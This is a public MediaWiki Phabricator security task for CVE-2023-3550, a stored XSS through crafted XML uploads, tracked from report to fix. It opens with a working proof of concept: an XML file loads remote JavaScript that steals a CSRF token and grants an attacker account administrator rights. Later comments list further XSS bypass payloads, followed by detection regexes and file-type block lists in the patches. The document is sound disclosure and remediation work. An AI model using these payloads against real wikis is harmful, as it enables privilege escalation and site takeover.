Page MenuHomePhabricator

CVE-2023-3550: Stored XSS when uploading crafted XML file to Special:Upload (non standard configuration)
Closed, ResolvedPublicSecurity

Description

https://fluidattacks.com/advisories/blondie/ (behind login)

Reported by Carlos Bello, tested against MW 1.40.0

exploit.xml
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="http://localhost:7777/payload.js">
</x:script>
payload.js
var token = "";

fetch('http://localhost:8080/mediawiki-1.40.0/index.php?title=Special%3AUserRights&user=Hacker', {
  credentials: 'include'
})
.then(response => response.text())
.then(html => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(html, 'text/html');
    token = doc.getElementsByName('wpEditToken')[0].value;

    // Llamar a la segunda solicitud POST después de obtener el token
    return fetch('http://localhost:8080/mediawiki-1.40.0/index.php/Special:UserRights', {
        method: 'POST',
        credentials: 'include',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'user=Hacker&wpEditToken=' + encodeURIComponent(token) + '&conflictcheck-originalgroups=&wpExpiry-bot=infinite&wpExpiry-bot-other=&wpGroup-sysop=1&wpExpiry-sysop=infinite&wpExpiry-sysop-other=&wpGroup-interface-admin=1&wpExpiry-interface-admin=infinite&wpExpiry-interface-admin-other=&wpGroup-bureaucrat=1&wpExpiry-bureaucrat=infinite&wpExpiry-bureaucrat-other=&wpExpiry-suppress=infinite&wpExpiry-suppress-other=&user-reason=&saveusergroups=Save+user+groups'
    });
})
.then(response => {
    console.log('Respuesta:', response);
})
.catch(error => {
    console.error('Error:', error);
});

Description
Mediawiki v1.40.0 does not validate namespaces used in XML files. Therefore, if the instance administrator allows XML file uploads, a remote attacker with a low-privileged user account can use this exploit to become an administrator by sending a malicious link to the instance administrator.

Vulnerability
In Mediawiki v1.40.0, an authenticated remote attacker can escalate his privileges through a Stored XSS. Thanks to this, we can perform a CSRF on an administrative account to escalate the privileges of an arbitrary account.

The Stored XSS is caused by MediaWiki v1.40.0 not validating the namespaces used in XML files. Thanks to this we can bypass the script detection security controls.

Event Timeline

There are a very large number of changes, so older changes are hidden. Show Older Changes
Reedy renamed this task from CVE-2023-3550: Stored XSS when uploading XML file to Special:Upload (non standard configuration) to CVE-2023-3550: Stored XSS when uploading crafted XML file to Special:Upload (non standard configuration).Jul 11 2023, 10:39 AM
Reedy updated the task description. (Show Details)

There's always one... And amusingly, they *only* upload xml files. But the last one is dated 20191112152734...

Poked someone to find out why, and whether they actually need it still...

Spoke to @jhsoby as an active volunteer on the incubator...

He pointed out that as per https://incubator.wikimedia.org/wiki/Special:ListGroupRights, only Bureaucrats have upload.

Which is limited to 7 users - https://incubator.wikimedia.org/w/index.php?title=Special:ListUsers&group=bureaucrat

On Wikimedia sites we also serve uploads via upload.wikimedia.org which shouldn't have access to cookies from any of the projects.

CC-ing all 7 incubator Bureaucrats for ease..

I know you don't use Special:Upload to put XML files on the wiki very often as per https://incubator.wikimedia.org/wiki/Special:Log/upload

But if for some reason you need to use it sometime soon, and the file is coming from an unknown source (ie not just Special:Export on another wiki) please be cautious as per this task.

We already check for <script but not <x:script...

This feels excessively simple..

From 6634a97455007bc8bd540796622c4d7e7a516f15 Mon Sep 17 00:00:00 2001
From: Reedy <reedy@wikimedia.org>
Date: Wed, 12 Jul 2023 13:59:09 +0100
Subject: [PATCH] SECURITY: Prevent <x:script in file uploads

CVE-2023-3550

Bug: T341565
Change-Id: I04b5d382c9cee40b361bca5b2d43bd97a5a33dcb
---
 includes/upload/UploadBase.php | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/includes/upload/UploadBase.php b/includes/upload/UploadBase.php
index 27c4be63a6b..d59e1366d7c 100644
--- a/includes/upload/UploadBase.php
+++ b/includes/upload/UploadBase.php
@@ -1351,6 +1351,8 @@ abstract class UploadBase {
 			'<head',
 			'<html', # also in safari
 			'<script', # also in safari
+			// T341565
+			'<x:script',
 		];
 
 		foreach ( $tags as $tag ) {
-- 
2.34.1

We already check for <script but not <x:script...

This feels excessively simple..

If I'm understanding this correctly the x: prefix comes from the xmlns:x="http://www.w3.org/1999/xhtml" definition, so you could work around that with something exceedinly simple such as

<y:script xmlns:y="http://www.w3.org/1999/xhtml" src="http://localhost:7777/payload.js"></y:script>

If I'm understanding this correctly the x: prefix comes from the xmlns:x="http://www.w3.org/1999/xhtml" definition, so you could work around that with something exceedinly simple such as

<y:script xmlns:y="http://www.w3.org/1999/xhtml" src="http://localhost:7777/payload.js"></y:script>

Yeah, the namespace part of the tag is arbitrary. Perhaps instead the function on line 1357 can be changed to use regex, and we can search for something like <(\w+):script (but replace \w with what any valid namespace name would be).

Yeah, that's what I was just doing...

Gonna just look up what a valid xml namespace would actually be...

From 997d6d2a99fae3d173b0e8c0586ec322161a2584 Mon Sep 17 00:00:00 2001
From: Reedy <reedy@wikimedia.org>
Date: Wed, 12 Jul 2023 13:59:09 +0100
Subject: [PATCH] SECURITY: Prevent <ns:script in file uploads

CVE-2023-3550

Bug: T341565
Change-Id: I04b5d382c9cee40b361bca5b2d43bd97a5a33dcb
---
 includes/upload/UploadBase.php | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/includes/upload/UploadBase.php b/includes/upload/UploadBase.php
index 27c4be63a6b..15afc40bac1 100644
--- a/includes/upload/UploadBase.php
+++ b/includes/upload/UploadBase.php
@@ -1389,6 +1389,13 @@ abstract class UploadBase {
 			return true;
 		}
 
+		# T341565 - look for <ns:script incase someone enabled xml upload...
+		if ( preg_match( '!<\S*:script!im', $chunk ) ) {
+			wfDebug( __METHOD__ . ": found xml script tag" );
+
+			return true;
+		}
+
 		wfDebug( __METHOD__ . ": no scripts found" );
 
 		return false;
-- 
2.34.1

https://en.wikipedia.org/wiki/XML_namespace#Namespace_names

Although the term namespace URI is widespread, the W3C Recommendation refers to it as the namespace name. The specification is not entirely prescriptive about the precise rules for namespace names (it does not explicitly say that parsers must reject documents where the namespace name is not a valid Uniform Resource Identifier), and many XML parsers allow any character string to be used. In version 1.1 of the recommendation, the namespace name becomes an Internationalized Resource Identifier, which licenses the use of non-ASCII characters that in practice were already accepted by nearly all XML software. The term namespace URI persists, however, not only in popular usage, but also in many other specifications from W3C and elsewhere.

https://en.wikipedia.org/wiki/XML_namespace#Namespace_names

Although the term namespace URI is widespread, the W3C Recommendation refers to it as the namespace name. The specification is not entirely prescriptive about the precise rules for namespace names (it does not explicitly say that parsers must reject documents where the namespace name is not a valid Uniform Resource Identifier), and many XML parsers allow any character string to be used. In version 1.1 of the recommendation, the namespace name becomes an Internationalized Resource Identifier, which licenses the use of non-ASCII characters that in practice were already accepted by nearly all XML software. The term namespace URI persists, however, not only in popular usage, but also in many other specifications from W3C and elsewhere.

Sounds like [^>]+ would do the trick then?

From 08b94feb545e1a4a2e17bc5425be2acdccc4efa5 Mon Sep 17 00:00:00 2001
From: Reedy <reedy@wikimedia.org>
Date: Wed, 12 Jul 2023 13:59:09 +0100
Subject: [PATCH] SECURITY: Prevent <ns:script in file uploads

CVE-2023-3550

Bug: T341565
Change-Id: I04b5d382c9cee40b361bca5b2d43bd97a5a33dcb
---
 includes/upload/UploadBase.php                   | 8 ++++++++
 tests/phpunit/data/upload/T341565.xml            | 1 +
 tests/phpunit/includes/upload/UploadBaseTest.php | 8 ++++++++
 3 files changed, 17 insertions(+)
 create mode 100644 tests/phpunit/data/upload/T341565.xml

diff --git a/includes/upload/UploadBase.php b/includes/upload/UploadBase.php
index 27c4be63a6b..6014b4b4ed3 100644
--- a/includes/upload/UploadBase.php
+++ b/includes/upload/UploadBase.php
@@ -1389,6 +1389,14 @@ abstract class UploadBase {
 			return true;
 		}
 
+		# T341565 - look for <ns:script incase someone enabled xml upload...
+		# <script without ns will have been caught above
+		if ( preg_match( '!<[^>\s]*:script!im', $chunk ) ) {
+			wfDebug( __METHOD__ . ": found xml script tag" );
+
+			return true;
+		}
+
 		wfDebug( __METHOD__ . ": no scripts found" );
 
 		return false;
diff --git a/tests/phpunit/data/upload/T341565.xml b/tests/phpunit/data/upload/T341565.xml
new file mode 100644
index 00000000000..347ed67eaf9
--- /dev/null
+++ b/tests/phpunit/data/upload/T341565.xml
@@ -0,0 +1 @@
+<ns:script xmlns:ns="http://www.w3.org/1999/xhtml" src=""></ns:script>
diff --git a/tests/phpunit/includes/upload/UploadBaseTest.php b/tests/phpunit/includes/upload/UploadBaseTest.php
index 351abbdaa55..eb4debab86b 100644
--- a/tests/phpunit/includes/upload/UploadBaseTest.php
+++ b/tests/phpunit/includes/upload/UploadBaseTest.php
@@ -633,6 +633,14 @@ class UploadBaseTest extends MediaWikiIntegrationTestCase {
 				false,
 				'JPEG with innocuous HTML in metadata from a flickr photo; should pass (T27707).'
 			],
+			// T341565
+			[
+				"$IP/tests/phpunit/data/upload/T341565.xml",
+				'text/plain',
+				'xml',
+				true,
+				'XML with <ns:script tag; should be rejected',
+			],
 		];
 	}
 }
-- 
2.34.1

Looks like !<[^>\s]*:script!im can run in polynomial time, via recheck:

regex.png (340×615 px, 31 KB)

It'd be nice to cap that via *{0,2048} or whatever, but apparently most specs don't establish max lengths for XML namespaces, unless maybe the browser is making some arbitrary decision? So we might have to live with this.

There are some (limited) protections in the earlier code...

		# ugly hack: for text files, always look at the entire file.
		# For binary field, just check the first K.

		if ( str_starts_with( $mime ?? '', 'text/' ) ) {
			$chunk = file_get_contents( $file );
		} else {
			$fp = fopen( $file, 'rb' );
			if ( !$fp ) {
				return false;
			}
			$chunk = fread( $fp, 1024 );
			fclose( $fp );
		}

But for example, the test file unhelpfully shows as text/plain... So are files from Special:Export.

And as the test passes at least locally, suggests MW's mime detection agrees.

Yeah. Given Tim's recent comment at T290831#8999594, it makes sense that most app-layer (php at least) DoSes shouldn't really be an issue in Wikimedia production, not that we want to completely ignore them and/or never fix them.

For reference/completeness..

If you use exploit.xml and just turn it into exploit.svg, MW rejects it with:

File extension ".svg" does not match the detected MIME type of the file (text/plain).

If you try something like...

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<x:svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" xmlns:x="http://www.w3.org/1999/xhtml">
  <x:script src="http://localhost:7777/payload.js">
  </x:script>
</x:svg>

You get

This SVG file contains an illegal namespace "http://www.w3.org/1999/xhtml".

Looking at UploadBase::checkSvgScriptCallback() (used with XmlTypeCheck) it would look like that does checks for namespaced script elements already (along with various other checks)...

Trying some XML that's "well formed", has no execution:

<?xml version="1.0"?>
<xml>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="http://localhost:7777/payload.js">
</x:script>
</xml>

But for example, the test file unhelpfully shows as text/plain... So are files from Special:Export.

And as the test passes at least locally, suggests MW's mime detection agrees.

On the File page...

Exploit.xml ‎(file size: 102 bytes, MIME type: application/xml)

Warning: This file type may contain malicious code. By executing it, your system may be compromised.

Curious the detection apparently changes between UploadBase::detectScript()

			if ( !$this->displayImg->isSafeFile() ) {
				$warning = $context->msg( 'mediawarning' )->plain();
	"mediawarning": "<strong>Warning:</strong> This file type may contain malicious code.\nBy executing it, your system may be compromised.",

Based on the value of $wgTrustedMediaFormats.

Thanks for the additional SVG research, @Reedy! I think we can likely get the patch from T341565#9009031 deployed during this coming Monday's (2023-07-24) security deployment window (or sooner).

From 08b94feb545e1a4a2e17bc5425be2acdccc4efa5 Mon Sep 17 00:00:00 2001
From: Reedy <reedy@wikimedia.org>
Date: Wed, 12 Jul 2023 13:59:09 +0100
Subject: [PATCH] SECURITY: Prevent <ns:script in file uploads

CVE-2023-3550

Bug: T341565
Change-Id: I04b5d382c9cee40b361bca5b2d43bd97a5a33dcb
---
 includes/upload/UploadBase.php                   | 8 ++++++++
 tests/phpunit/data/upload/T341565.xml            | 1 +
 tests/phpunit/includes/upload/UploadBaseTest.php | 8 ++++++++
 3 files changed, 17 insertions(+)
 create mode 100644 tests/phpunit/data/upload/T341565.xml

diff --git a/includes/upload/UploadBase.php b/includes/upload/UploadBase.php
index 27c4be63a6b..6014b4b4ed3 100644
--- a/includes/upload/UploadBase.php
+++ b/includes/upload/UploadBase.php
@@ -1389,6 +1389,14 @@ abstract class UploadBase {
 			return true;
 		}
 
+		# T341565 - look for <ns:script incase someone enabled xml upload...
+		# <script without ns will have been caught above
+		if ( preg_match( '!<[^>\s]*:script!im', $chunk ) ) {
+			wfDebug( __METHOD__ . ": found xml script tag" );
+
+			return true;
+		}
+
 		wfDebug( __METHOD__ . ": no scripts found" );
 
 		return false;
diff --git a/tests/phpunit/data/upload/T341565.xml b/tests/phpunit/data/upload/T341565.xml
new file mode 100644
index 00000000000..347ed67eaf9
--- /dev/null
+++ b/tests/phpunit/data/upload/T341565.xml
@@ -0,0 +1 @@
+<ns:script xmlns:ns="http://www.w3.org/1999/xhtml" src=""></ns:script>
diff --git a/tests/phpunit/includes/upload/UploadBaseTest.php b/tests/phpunit/includes/upload/UploadBaseTest.php
index 351abbdaa55..eb4debab86b 100644
--- a/tests/phpunit/includes/upload/UploadBaseTest.php
+++ b/tests/phpunit/includes/upload/UploadBaseTest.php
@@ -633,6 +633,14 @@ class UploadBaseTest extends MediaWikiIntegrationTestCase {
 				false,
 				'JPEG with innocuous HTML in metadata from a flickr photo; should pass (T27707).'
 			],
+			// T341565
+			[
+				"$IP/tests/phpunit/data/upload/T341565.xml",
+				'text/plain',
+				'xml',
+				true,
+				'XML with <ns:script tag; should be rejected',
+			],
 		];
 	}
 }
-- 
2.34.1

Deployed

Mstyles added a parent task: Restricted Task.Jul 24 2023, 9:33 PM

This seems impossible to filter xml in this fashion. I think the earlier code in MW was not designed to filter xml so much as filter IE6's content type sniffing algorithm which isn't a relevant attack any more.

Some other examples:

  • <?xml-stylesheet processing instructions (This can include xslt which can include javascript)
  • attributes starting with on - e.g. `<x:body xmlns:x="http://www.w3.org/1999/xhtml" onload="alert(1)"></x:body>
  • every other way to include a script in html generally works here. e.g. <x:iframe xmlns:x="http://www.w3.org/1999/xhtml" srcdoc="&lt;script&gt;alert(document.domain)&lt;/script&gt;"></x:iframe>
  • XML files encoded with UTF-16 with no BOM

Probably uploading XML should be treated with the same caution as uploading html. Or a real xml parser should be used to check for any namespaces browsers recognize.

Probably uploading XML should be treated with the same caution as uploading html.

Do we have any special handling for HTML already?

Or a real xml parser should be used to check for any namespaces browsers recognize.

It does get to a question of how much time/effort to put into this.

It's a non standard config; I wonder how many people even enable XML upload. Possibly more likely in corp environments, or storing configs etc.

And of course, we have https://www.mediawiki.org/wiki/Manual:$wgDisableUploadScriptChecks...

We do use XmlTypeCheck with the callback of UploadBase::checkSvgScriptCallback to do something similar for SVG's.

There's probably a few other things in that function that may be useful too for XML, depending on the effort we want to expend.

Do we have any special handling for HTML already?

I think its on the mime blacklist.

Do we have any special handling for HTML already?

I think its on the mime blacklist.

https://www.mediawiki.org/wiki/Manual:$wgProhibitedFileExtensions

ProhibitedFileExtensions:
    default:
        - html
        - htm
        - js
        - jsb
        - mhtml
        - mht
        - xhtml
        - xht
        - php
        - phtml
        - php3
        - php4
        - php5
        - phps
        - phar
        - shtml
        - jhtml
        - pl
        - py
        - cgi
        - exe
        - scr
        - dll
        - msi
        - vbs
        - bat
        - com
        - pif
        - cmd
        - vxd
        - cpl
    type: array
    description: |-
        Files with these extensions will never be allowed as uploads.
        An array of file extensions to prevent being uploaded. You should
        append to this array if you want to prevent additional file extensions.
        @since 1.37; previously $wgFileBlacklist

I mean, it's not necessarily a bad idea (though, we'd have to decide how we wanted to deal with this exclusion for the one WMF wiki that uses it).

Though we end up in a similar situation to where we are now.... "If I do allow XML uploads and then..."

At what point do we just offload the blame to the sysadmin running that MW install?

Which is the same as we are in now, technically. Just it would require one extra step to enable XML upload.

I think I agree with @Reedy here. The simplest path is to probably find an alternate solution for incubatorwiki, if feasible, and then add additional warning language where appropriate around the enablement of xml uploads (i.e. it's very dangerous and shouldn't really ever be done). And then forbid that config in Wikimedia production going forward.

So... this issue was publicly-disclosed by an irresponsible 3rd party: https://fluidattacks.com/advisories/blondie/. They sent an email to security@ wanting us to comment on their write-up, but the write-up is, of course, already public. Since we haven't arrived at a complete solution for this issue yet, I'm wondering if we should remove incubator.wikimedia.org and incubator.m.wikimedia.org from $wgCrossSiteAJAXdomains for the time being.

It appears this issue has been (perhaps unintentionally) publically disclosed at https://fluidattacks.com/advisories/blondie/. @sbassett has asked legal to assistance with how to respond regarding the disclosure.

This does increase the priority of fixing the issue in production. @Reedy is it possible to find an alternative solution for incubatorwiki? As I think we all agree forbidding XML would be the best approach here alongside suitable warnings of the danger of re-enabling it.

I wouldn't suggest trying to fix the XML parsing to reject script as there are so many ways of embedding it. XML is essentially a superset of HTML and should be prevented just like we prevent HTML.

Change 961171 had a related patch set uploaded (by Reedy; author: Reedy):

[operations/mediawiki-config@master] incubatorwiki: Disable xml upload

https://gerrit.wikimedia.org/r/961171

Change 961171 merged by jenkins-bot:

[operations/mediawiki-config@master] incubatorwiki: Disable xml upload

https://gerrit.wikimedia.org/r/961171

Reedy changed the task status from Open to In Progress.Sep 27 2023, 12:24 PM

Going to need various documentation updates, and inclusion specifically in the announcement...

But patches staged for this otherwise.

I think I agree with @Reedy here. The simplest path is to probably find an alternate solution for incubatorwiki, if feasible, and then add additional warning language where appropriate around the enablement of xml uploads (i.e. it's very dangerous and shouldn't really ever be done). And then forbid that config in Wikimedia production going forward.

I'm very open to finding alternative solutions for Incubator's needs. Basically, we only upload XMLs sparingly: when a test wiki is rejected, but someone might want/need the content later (to import it to a different MediaWiki installation somewhere). We could, for instance, set up a simple toolforge project to store those XMLs instead if that's ok.

I haven't checked how it will work with MW's upload file checkers.. But @acooper suggested that we could just upload them as txt files or similar, for something that doesn't require much workflow change...

Oh.. We should decide if we're adding xml to $wgMimeTypeExclusions/$wgMimeTypeBlacklist too...

Need a bit more testing... And then T340868 updating to match.

I haven't checked how it will work with MW's upload file checkers.. But @acooper suggested that we could just upload them as txt files or similar, for something that doesn't require much workflow change...

Oh, that sounds way easier than my idea. So fine with me. :-)

Oh.. We should decide if we're adding xml to $wgMimeTypeExclusions/$wgMimeTypeBlacklist too...

commit 18c859bfb504b1011bbaf5d4595604a89fe4fe80 (HEAD -> master)
Author: Sam Reed <reedy@wikimedia.org>
Date:   Wed Sep 27 16:27:34 2023 +0100

    SECURITY: Add xml mime types to $wgMimeTypeExclusions
    
    CVE-2023-3550
    
    Bug: T341565
    Change-Id: Ic74b8adcc0db6826a4159bb9c0ea8dfaecc77c09

diff --git a/docs/config-schema.yaml b/docs/config-schema.yaml
index 50e52ac9abf..558eba98475 100644
--- a/docs/config-schema.yaml
+++ b/docs/config-schema.yaml
@@ -955,6 +955,8 @@ config-schema:
             - application/x-msdownload
             - application/x-msmetafile
             - application/java
+            - application/xml
+            - text/xml
         type: array
         description: |-
             Files with these MIME types will never be allowed as uploads
diff --git a/includes/MainConfigSchema.php b/includes/MainConfigSchema.php
index c7b67dbcae6..15b97a647b0 100644
--- a/includes/MainConfigSchema.php
+++ b/includes/MainConfigSchema.php
@@ -1645,7 +1645,9 @@ class MainConfigSchema {
                        # Windows metafile, client-side vulnerability on some systems
                        'application/x-msmetafile',
                        # Files that look like java files
-                       'application/java'
+                       'application/java',
+                       # XML files generally - T341565
+                       'application/xml', 'text/xml',
                ],
                'type' => 'list',
        ];
diff --git a/includes/config-schema.php b/includes/config-schema.php
index a2d6c76ab0c..d8a00b8b046 100644
--- a/includes/config-schema.php
+++ b/includes/config-schema.php
@@ -168,6 +168,8 @@ return [
                                13 => 'application/x-msdownload',
                                14 => 'application/x-msmetafile',
                                15 => 'application/java',
+                               16 => 'application/xml',
+                               17 => 'text/xml',
                        ],
                        'CheckFileExtensions' => true,
                        'StrictFileExtensions' => true,

Doesn't seem to cause any obvious problems with SVG/XML import...

So going to do this aswell...

Basically, we only upload XMLs sparingly: when a test wiki is rejected, but someone might want/need the content later (to import it to a different MediaWiki installation somewhere). We could, for instance, set up a simple toolforge project to store those XMLs instead if that's ok.

IMO this seems reasonable to put in download.wikimedia.org's "other" folder or just throw it up on archive.org and maintain a listing on a wiki page.

Change 961934 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/core@REL1_35] SECURITY: Add xml to $wgFileBlacklist

https://gerrit.wikimedia.org/r/961934

Change 961936 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/core@REL1_35] SECURITY: Add xml mime types to $wgMimeTypeBlacklist

https://gerrit.wikimedia.org/r/961936

Change 961940 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/core@REL1_39] SECURITY: Add xml to $wgProhibitedFileExtensions

https://gerrit.wikimedia.org/r/961940

Change 961942 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/core@REL1_39] SECURITY: Add xml mime types to $wgMimeTypeExclusions

https://gerrit.wikimedia.org/r/961942

Change 961947 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/core@REL1_40] SECURITY: Add xml to $wgProhibitedFileExtensions

https://gerrit.wikimedia.org/r/961947

Change 961949 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/core@REL1_40] SECURITY: Add xml mime types to $wgMimeTypeExclusions

https://gerrit.wikimedia.org/r/961949

Change 961954 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/core@master] SECURITY: Add xml to $wgProhibitedFileExtensions

https://gerrit.wikimedia.org/r/961954

Change 961956 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/core@master] SECURITY: Add xml mime types to $wgMimeTypeExclusions

https://gerrit.wikimedia.org/r/961956

Change 961934 merged by jenkins-bot:

[mediawiki/core@REL1_35] SECURITY: Add xml to $wgFileBlacklist

https://gerrit.wikimedia.org/r/961934

Change 961940 merged by jenkins-bot:

[mediawiki/core@REL1_39] SECURITY: Add xml to $wgProhibitedFileExtensions

https://gerrit.wikimedia.org/r/961940

Change 961942 merged by jenkins-bot:

[mediawiki/core@REL1_39] SECURITY: Add xml mime types to $wgMimeTypeExclusions

https://gerrit.wikimedia.org/r/961942

Change 961947 merged by jenkins-bot:

[mediawiki/core@REL1_40] SECURITY: Add xml to $wgProhibitedFileExtensions

https://gerrit.wikimedia.org/r/961947

Change 961949 merged by jenkins-bot:

[mediawiki/core@REL1_40] SECURITY: Add xml mime types to $wgMimeTypeExclusions

https://gerrit.wikimedia.org/r/961949

Change 961936 merged by jenkins-bot:

[mediawiki/core@REL1_35] SECURITY: Add xml mime types to $wgMimeTypeBlacklist

https://gerrit.wikimedia.org/r/961936

Change 961954 merged by jenkins-bot:

[mediawiki/core@master] SECURITY: Add xml to $wgProhibitedFileExtensions

https://gerrit.wikimedia.org/r/961954

Change 961956 merged by jenkins-bot:

[mediawiki/core@master] SECURITY: Add xml mime types to $wgMimeTypeExclusions

https://gerrit.wikimedia.org/r/961956

Basically, we only upload XMLs sparingly: when a test wiki is rejected, but someone might want/need the content later (to import it to a different MediaWiki installation somewhere). We could, for instance, set up a simple toolforge project to store those XMLs instead if that's ok.

IMO this seems reasonable to put in download.wikimedia.org's "other" folder or just throw it up on archive.org and maintain a listing on a wiki page.

If its happening rarely enough we could just have people open a phab task and have a dev do a server side upload.

Reedy moved this task from Blocker to Not a blocker on the MW-1.40-release board.
Reedy moved this task from Blocker to Not a blocker on the MW-1.39-release board.
sbassett triaged this task as Medium priority.Oct 10 2023, 4:22 PM
sbassett changed Author Affiliation from N/A to Other (Please specify in description).
sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".
sbassett changed the edit policy from "Custom Policy" to "All Users".
sbassett changed Risk Rating from N/A to Medium.
sbassett moved this task from Watching to Our Part Is Done on the Security-Team board.